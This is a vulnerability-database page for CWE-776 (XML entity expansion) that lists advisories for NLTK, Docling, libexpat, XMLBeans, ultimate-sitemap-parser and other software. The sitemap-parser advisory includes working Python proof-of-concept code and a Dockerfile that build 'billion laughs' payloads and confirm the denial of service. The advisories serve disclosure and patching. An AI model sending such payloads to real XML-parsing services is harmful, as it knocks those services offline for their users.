GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-776

Allowed

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

159 vulnerabilities reference this CWE, most recent first.

GHSA-JX89-3QG8-P2MR

Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-09-02 14:39
VLAI
Summary
Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:39:54Z",
    "nvd_published_at": "2026-08-25T02:16:52Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-97qj-x29f-37w7. This link is maintained to preserve external references.\n\n## Original Description\n\nNLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.",
  "id": "GHSA-jx89-3qg8-p2mr",
  "modified": "2026-09-02T14:39:54Z",
  "published": "2026-08-25T03:32:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78681"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses (CWE-776)",
  "withdrawn": "2026-09-02T14:39:54Z"
}

GHSA-M5FQ-FJ2F-7888

Vulnerability from github – Published: 2022-05-24 17:34 – Updated: 2022-05-24 17:34
VLAI
Details

Trend Micro InterScan Messaging Security Virtual Appliance (IMSVA) 9.1 is vulnerable to an XML External Entity Processing (XXE) vulnerability which could allow an authenticated administrator to read arbitrary local files. An attacker must already have obtained product administrator/root privileges to exploit this vulnerability.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-27017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-09T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Trend Micro InterScan Messaging Security Virtual Appliance (IMSVA) 9.1 is vulnerable to an XML External Entity Processing (XXE) vulnerability which could allow an authenticated administrator to read arbitrary local files. An attacker must already have obtained product administrator/root privileges to exploit this vulnerability.",
  "id": "GHSA-m5fq-fj2f-7888",
  "modified": "2022-05-24T17:34:01Z",
  "published": "2022-05-24T17:34:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27017"
    },
    {
      "type": "WEB",
      "url": "https://sec-consult.com/en/blog/advisories/vulnerabilities-in-trend-micro-interscan-messaging-security-virtual-appliance-imsva"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/solution/000279833"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-M88R-RG27-5XFG

Vulnerability from github – Published: 2026-06-03 21:14 – Updated: 2026-08-28 18:31
VLAI
Summary
Docling: Unsafe XML Entity Expansion in USPTO Patent Backend
Details

Impact

The USPTO patent XML parser used the standard xml.sax.parseString() without protection against XML External Entity (XXE) attacks. An attacker could craft malicious USPTO patent XML files with external entity references that could: - Read arbitrary files from the server filesystem - Perform Server-Side Request Forgery (SSRF) attacks - Cause denial of service through entity expansion (Billion Laughs attack)

The vulnerability affects three USPTO patent format parsers: ICE (v4.x), Grant v2.5, and Application v1.x.

Patches

Fixed in version 2.74.0. The parser now uses defusedxml.sax.make_parser() with secure configuration that blocks external entity resolution (feature_external_ges=False, feature_external_pes=False) while allowing DTD declarations required by USPTO files. This prevents XXE attacks while maintaining compatibility with the USPTO XML format.

Workarounds

Avoid processing USPTO patent XML files from untrusted sources. Implement resource limits (memory, CPU time) when processing patent documents.

References

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "docling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.74.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-03T21:14:15Z",
    "nvd_published_at": "2026-06-24T18:17:17Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe USPTO patent XML parser used the standard `xml.sax.parseString()` without protection against XML External Entity (XXE) attacks. An attacker could craft malicious USPTO patent XML files with external entity references that could:\n- Read arbitrary files from the server filesystem\n- Perform Server-Side Request Forgery (SSRF) attacks\n- Cause denial of service through entity expansion (Billion Laughs attack)\n\nThe vulnerability affects three USPTO patent format parsers: ICE (v4.x), Grant v2.5, and Application v1.x.\n\n### Patches\nFixed in version 2.74.0. The parser now uses `defusedxml.sax.make_parser()` with secure configuration that blocks external entity resolution (`feature_external_ges=False`, `feature_external_pes=False`) while allowing DTD declarations required by USPTO files. This prevents XXE attacks while maintaining compatibility with the USPTO XML format.\n\n### Workarounds\nAvoid processing USPTO patent XML files from untrusted sources. Implement resource limits (memory, CPU time) when processing patent documents.\n\n### References\n- Fix release: [v2.74.0](https://github.com/docling-project/docling/releases/tag/v2.74.0)",
  "id": "GHSA-m88r-rg27-5xfg",
  "modified": "2026-08-28T18:31:11Z",
  "published": "2026-06-03T21:14:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/security/advisories/GHSA-m88r-rg27-5xfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44020"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60520"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-44020"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492456"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/docling-project/docling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/releases/tag/v2.74.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/docling/PYSEC-2026-240.yaml"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44020.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Docling: Unsafe XML Entity Expansion in USPTO Patent Backend"
}

GHSA-MHJG-98H7-6G9W

Vulnerability from github – Published: 2022-07-13 00:01 – Updated: 2022-07-21 00:00
VLAI
Details

A vulnerability has been identified in Mendix Excel Importer Module (Mendix 8 compatible) (All versions < V9.2.2), Mendix Excel Importer Module (Mendix 9 compatible) (All versions < V10.1.2). The affected component is vulnerable to XML Entity Expansion Injection. An attacker may use this to compromise the availability of the affected component.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-34467"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-12T10:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in Mendix Excel Importer Module (Mendix 8 compatible) (All versions \u003c V9.2.2), Mendix Excel Importer Module (Mendix 9 compatible) (All versions \u003c V10.1.2). The affected component is vulnerable to XML Entity Expansion Injection. An attacker may use this to compromise the availability of the affected component.",
  "id": "GHSA-mhjg-98h7-6g9w",
  "modified": "2022-07-21T00:00:31Z",
  "published": "2022-07-13T00:01:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34467"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-610768.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MHPX-3RV8-WRJM

Vulnerability from github – Published: 2024-06-07 21:16 – Updated: 2024-06-07 21:16
VLAI
Summary
ZendFramework potential XML eXternal Entity injection vectors
Details

Numerous components utilizing PHP's DOMDocument, SimpleXML, and xml_parse functionality are vulnerable to two types of attacks:

  • XML eXternal Entity (XXE) Injection attacks. The above mentioned extensions are insecure by default, allowing external entities to be specified by adding a specific DOCTYPE element to XML documents and strings. By exploiting this vulnerability an application may be coerced to open arbitrary files and/or TCP connections.
  • XML Entity Expansion (XEE) vectors, leading to Denial of Service vectors. XEE attacks occur when the XML DOCTYPE declaration includes XML entity definitions that contain either recursive or circular references; this leads to CPU and memory consumption, making Denial of Service exploits trivial to implement.
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "zendframework/zendframework1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.0"
            },
            {
              "fixed": "1.12.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-07T21:16:36Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Numerous components utilizing PHP\u0027s `DOMDocument`, `SimpleXML`, and `xml_parse` functionality are vulnerable to two types of attacks:\n\n- XML eXternal Entity (XXE) Injection attacks. The above mentioned extensions are insecure by default, allowing external entities to be specified by adding a specific DOCTYPE element to XML documents and strings. By exploiting this vulnerability an application may be coerced to open arbitrary files and/or TCP connections.\n- XML Entity Expansion (XEE) vectors, leading to Denial of Service vectors. XEE attacks occur when the XML DOCTYPE declaration includes XML entity definitions that contain either recursive or circular references; this leads to CPU and memory consumption, making Denial of Service exploits trivial to implement.\n",
  "id": "GHSA-mhpx-3rv8-wrjm",
  "modified": "2024-06-07T21:16:36Z",
  "published": "2024-06-07T21:16:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://framework.zend.com/security/advisory/ZF2014-01"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/zendframework/zendframework1/ZF2014-01.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zendframework/zf1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ZendFramework potential XML eXternal Entity injection vectors"
}

GHSA-MP2W-HJCJ-F5G9

Vulnerability from github – Published: 2024-02-04 21:30 – Updated: 2025-11-04 21:31
VLAI
Details

libexpat through 2.5.0 allows recursive XML Entity Expansion if XML_DTD is undefined at compile time.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-52426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-04T20:15:46Z",
    "severity": "MODERATE"
  },
  "details": "libexpat through 2.5.0 allows recursive XML Entity Expansion if XML_DTD is undefined at compile time.",
  "id": "GHSA-mp2w-hjcj-f5g9",
  "modified": "2025-11-04T21:31:05Z",
  "published": "2024-02-04T21:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libexpat/libexpat/pull/777"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libexpat/libexpat/commit/0f075ec8ecb5e43f8fdca5182f8cca4703da0404"
    },
    {
      "type": "WEB",
      "url": "https://cwe.mitre.org/data/definitions/776.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PNRIHC7DVVRAIWFRGV23Y6UZXFBXSQDB"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WNUBSGZFEZOBHJFTAD42SAN4ATW2VEMV"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PNRIHC7DVVRAIWFRGV23Y6UZXFBXSQDB"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240307-0005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MW3R-PFMG-XP92

Vulnerability from github – Published: 2021-06-16 17:37 – Updated: 2021-10-21 18:58
VLAI
Summary
Improper Restriction of Recursive Entity References in Apache XMLBeans
Details

The XML parsers used by XMLBeans up to version 2.6.0 did not set the properties needed to protect the user from malicious XML input. Vulnerabilities include possibilities for XML Entity Expansion attacks. Affects XMLBeans up to and including v2.6.0.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.xmlbeans:xmlbeans"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-06T21:33:29Z",
    "nvd_published_at": "2021-01-14T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The XML parsers used by XMLBeans up to version 2.6.0 did not set the properties needed to protect the user from malicious XML input. Vulnerabilities include possibilities for XML Entity Expansion attacks. Affects XMLBeans up to and including v2.6.0.",
  "id": "GHSA-mw3r-pfmg-xp92",
  "modified": "2021-10-21T18:58:58Z",
  "published": "2021-06-16T17:37:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23926"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/XMLBEANS-517"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2dc5588009dc9f0310b7382269f932cc96cae4c3901b747dda1a7fed@%3Cjava-dev.axis.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rbb01d10512098894cd5f22325588197532c64f1c818ea7e4120d40c1@%3Cjava-dev.axis.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/06/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "https://poi.apache.org"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210513-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Restriction of Recursive Entity References in Apache XMLBeans"
}

GHSA-MX48-CPPF-PVXC

Vulnerability from github – Published: 2023-12-07 18:30 – Updated: 2023-12-09 06:30
VLAI
Details

Typecho v1.2.1 was discovered to be vulnerable to an XML Quadratic Blowup attack via the component /index.php/action/xmlrpc.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-49967"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-07T16:15:07Z",
    "severity": "HIGH"
  },
  "details": "Typecho v1.2.1 was discovered to be vulnerable to an XML Quadratic Blowup attack via the component /index.php/action/xmlrpc.",
  "id": "GHSA-mx48-cppf-pvxc",
  "modified": "2023-12-09T06:30:20Z",
  "published": "2023-12-07T18:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49967"
    },
    {
      "type": "WEB",
      "url": "https://github.com/typecho/typecho/issues/1648"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P5WC-9W9R-M232

Vulnerability from github – Published: 2026-06-19 21:15 – Updated: 2026-06-19 21:15
VLAI
Summary
Ultimate Sitemap Parser (USP): XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser
Details

XML Entity Expansion (Billion Laughs) DoS in XMLSitemapParser

Summary

ultimate-sitemap-parser version 1.8.0 and earlier parse attacker-controlled XML content using Python's xml.parsers.expat without any restriction on DTD declarations or recursive entity references. An attacker who can serve a malicious sitemap can trigger exponential XML entity expansion (the "Billion Laughs" attack), causing unbounded CPU and memory consumption in the victim process. No authentication, user interaction, or special configuration is required — the vulnerability is exploitable by default through any public-facing use of sitemap_tree_for_homepage() or sitemap_from_str().

Details

The vulnerable code path begins at the public API entry points and flows to the Expat XML parser without any sanitization:

  1. usp/tree.py:42 — sitemap_tree_for_homepage(homepage_url) is the primary public entry point.
  2. usp/tree.py:133 — sitemap_from_str(content) is the secondary public entry point (also directly reachable from user code).
  3. usp/fetch_parse.py:141-145 — SitemapFetcher._fetch() retrieves the remote URL content.
  4. usp/fetch_parse.py:175 — The raw response becomes response_content (taint propagation point).
  5. usp/fetch_parse.py:441-450 — XMLSitemapParser.sitemap() creates an Expat parser and feeds the attacker-controlled content directly to it:
# usp/fetch_parse.py:441-450  — VULNERABLE SINK
parser = xml.parsers.expat.ParserCreate(
    namespace_separator=self.__XML_NAMESPACE_SEPARATOR
)
# ... handler assignments ...
parser.Parse(self._content, is_final)   # <-- no DTD/entity restriction

A full audit of the usp/ directory confirms that none of the following hardening measures are present: - defusedxml usage - DOCTYPE rejection - SetParamEntityParsing - UseForeignDTD - ExternalEntityRefHandler

When a Billion Laughs payload is parsed, each nested entity reference is expanded recursively, multiplying the in-memory string by a factor of 10 per nesting level. At level 6 (10⁶ expansions), processing time exceeds 20 seconds, effectively hanging the calling process.

PoC

Environment setup:

# Option A: install from PyPI
python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0

# Option B: Docker (using the provided Dockerfile)
docker build -t vuln-001-usp -f vuln-001/Dockerfile .
docker run --rm vuln-001-usp

Attack payload and execution:

from usp.tree import sitemap_from_str
import time, signal

TIMEOUT = 20

class TimedOut(Exception): pass
def handler(s, f): raise TimedOut()

def build_payload(level):
    lines = ['<?xml version="1.0"?>', '<!DOCTYPE x [']
    lines.append(' <!ENTITY lol "lol">')
    for i in range(1, level + 1):
        prev = "lol" if i == 1 else f"lol{i-1}"
        expansion = "".join(f"&{prev};" for _ in range(10))
        lines.append(f' <!ENTITY lol{i} "{expansion}">')
    lines.append(']>')
    lines.append('<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">')
    lines.append(f'  <url><loc>http://example.com/&lol{level};</loc></url>')
    lines.append('</urlset>')
    return "\n".join(lines)

for level in [3, 4, 5, 6]:
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(TIMEOUT)
    t = time.perf_counter()
    try:
        result = sitemap_from_str(build_payload(level))
        elapsed = time.perf_counter() - t
        signal.alarm(0)
        pages = list(result.all_pages())
        url_len = len(pages[0].url) if pages else 0
        print(f"Level {level}: {elapsed:.4f}s  url_len={url_len:,}")
    except TimedOut:
        elapsed = time.perf_counter() - t
        signal.alarm(0)
        print(f"Level {level}: TIMEOUT after {elapsed:.1f}s -- DoS confirmed")

Expected output (observed during dynamic reproduction):

Level 3 (10^3):   0.0054s   url_len=3,019
Level 4 (10^4):   0.0321s   url_len=30,019
Level 5 (10^5):   5.2845s   url_len=300,019
Level 6 (10^6):  TIMEOUT after 20.0011s  -- DoS confirmed

Processing time grows exponentially: level 5 is ~165× slower than level 4, and level 6 exceeds the 20-second watchdog. This conclusively demonstrates unbounded resource consumption.

Impact

This is a Denial-of-Service (DoS) vulnerability via XML Entity Expansion (the "Billion Laughs" / CWE-776 pattern). Any application or service that uses ultimate-sitemap-parser to crawl external or user-supplied URLs is impacted.

Who is affected: - Web crawlers and indexers that call sitemap_tree_for_homepage() against arbitrary URLs — a single malicious sitemap server can lock up the crawler process. - CI/CD pipelines and monitoring tools that periodically parse sitemaps as part of automated workflows. - Any application that passes unvalidated user input to sitemap_from_str().

Because no authentication, elevated privilege, or prior relationship is required (CVSS PR:N, UI:N), the attack surface is broad. An attacker only needs to operate a web server that returns a malicious sitemap when visited.

Reproduction artifacts

Dockerfile

FROM python:3.11-slim

LABEL description="VULN-001: XML Entity Expansion (Billion Laughs) DoS PoC" \
      target="GateNLP/ultimate-sitemap-parser <= 1.8.0" \
      cwe="CWE-776"

WORKDIR /app

# Copy the cloned repository first
COPY repo/ /app/repo/

# Install uv_build (required build backend) then install the vulnerable package from the local clone
RUN pip install --no-cache-dir "uv_build>=0.9.6,<0.10.0" && \
    pip install --no-cache-dir /app/repo/

# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "-u", "/app/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: XML Entity Expansion (Billion Laughs) DoS
Affected: GateNLP/ultimate-sitemap-parser <= 1.8.0
CWE-776: Improper Restriction of Recursive Entity References in DTDs
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5 High)

Sink: usp/fetch_parse.py:450
  parser = xml.parsers.expat.ParserCreate(namespace_separator=...)
  parser.Parse(self._content, is_final)   <- no DTD/entity restriction

Entry: usp.tree.sitemap_from_str(content: str) -> AbstractSitemap
"""

import signal
import sys
import time

from usp.tree import sitemap_from_str

TIMEOUT_SECONDS = 20
DOS_THRESHOLD_SECONDS = 2.0  # level 5 must exceed this to PASS


class TimedOut(Exception):
    pass


def _alarm_handler(signum, frame):
    raise TimedOut("SIGALRM fired")


def build_billion_laughs_payload(level: int) -> str:
    """Build a Billion Laughs XML payload nested to `level` depth.

    Each level multiplies expansion by 10:
      level 3 -> 10^3   = 1,000 chars
      level 4 -> 10^4   = 10,000 chars
      level 5 -> 10^5   = 100,000 chars
      level 6 -> 10^6   = 1,000,000 chars
    """
    lines = ['<?xml version="1.0"?>', "<!DOCTYPE x ["]
    lines.append(' <!ENTITY lol "lol">')
    for i in range(1, level + 1):
        prev = "lol" if i == 1 else f"lol{i - 1}"
        expansion = "".join(f"&{prev};" for _ in range(10))
        lines.append(f' <!ENTITY lol{i} "{expansion}">')
    lines.append("]>")
    lines.append('<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">')
    lines.append(f"  <url><loc>http://example.com/&lol{level};</loc></url>")
    lines.append("</urlset>")
    return "\n".join(lines)


def parse_with_timeout(payload: str):
    """Parse payload under SIGALRM watchdog; return (elapsed, url_len, timed_out)."""
    signal.signal(signal.SIGALRM, _alarm_handler)
    signal.alarm(TIMEOUT_SECONDS)
    start = time.perf_counter()
    timed_out = False
    url_len = 0
    try:
        result = sitemap_from_str(payload)
        elapsed = time.perf_counter() - start
        signal.alarm(0)
        pages = list(result.all_pages())
        if pages:
            url_len = len(pages[0].url)
    except TimedOut:
        elapsed = time.perf_counter() - start
        timed_out = True
        signal.alarm(0)
    except Exception as exc:
        elapsed = time.perf_counter() - start
        signal.alarm(0)
        print(f"    [EXCEPTION] {type(exc).__name__}: {exc}", flush=True)
    return elapsed, url_len, timed_out


def main() -> int:
    print("=" * 64)
    print("VULN-001  XML Entity Expansion DoS  (Billion Laughs)")
    print("Target : GateNLP/ultimate-sitemap-parser <= 1.8.0")
    print("Sink   : usp/fetch_parse.py:450  parser.Parse(_content)")
    print(f"Timeout: {TIMEOUT_SECONDS}s per level")
    print("=" * 64)

    results = {}
    for level in [3, 4, 5, 6]:
        theoretical = 10**level
        payload = build_billion_laughs_payload(level)
        print(
            f"\n[*] Level {level}: 10^{level} = {theoretical:>10,} chars  "
            f"payload_bytes={len(payload)}",
            flush=True,
        )
        elapsed, url_len, timed_out = parse_with_timeout(payload)
        results[level] = (elapsed, url_len, timed_out)

        if timed_out:
            print(
                f"[!] Level {level}: TIMED OUT after {elapsed:.1f}s  "
                f"(>{TIMEOUT_SECONDS}s)  -- DoS confirmed",
                flush=True,
            )
        else:
            print(
                f"[+] Level {level}: completed in {elapsed:.4f}s  "
                f"url_len={url_len:,}",
                flush=True,
            )

    print("\n" + "=" * 64)
    print("TIMING SUMMARY")
    print("=" * 64)
    for lvl, (elapsed, url_len, timed_out) in results.items():
        status = f"TIMEOUT >{TIMEOUT_SECONDS}s" if timed_out else f"{elapsed:.4f}s"
        print(f"  Level {lvl} (10^{lvl:>1}): {status:>20}   url_len={url_len:,}")

    print()

    # Verdict: level 5 must take >2s or level 6 must time out
    lvl5_elapsed, _, lvl5_timed_out = results.get(5, (0, 0, False))
    lvl6_elapsed, _, lvl6_timed_out = results.get(6, (0, 0, False))

    slow_evidence = lvl5_elapsed > DOS_THRESHOLD_SECONDS or lvl5_timed_out
    timeout_evidence = lvl6_timed_out or lvl6_elapsed > DOS_THRESHOLD_SECONDS

    if slow_evidence or timeout_evidence:
        print("[PASS] DoS CONFIRMED: exponential CPU exhaustion via XML entity expansion")
        print(
            f"       level-5 time={lvl5_elapsed:.4f}s  level-6 "
            + ("TIMEOUT" if lvl6_timed_out else f"time={lvl6_elapsed:.4f}s")
        )
        print("[PASS] CWE-776 Billion Laughs confirmed in ultimate-sitemap-parser <= 1.8.0")
        return 0
    else:
        print("[FAIL] Timing did not show significant slowdown -- DoS not confirmed")
        print(f"       level-5={lvl5_elapsed:.4f}s  level-6={lvl6_elapsed:.4f}s")
        print("       (expected level-5 > 2s or level-6 to time out)")
        return 1


if __name__ == "__main__":
    sys.exit(main())
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.8.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "ultimate-sitemap-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-776"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:15:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
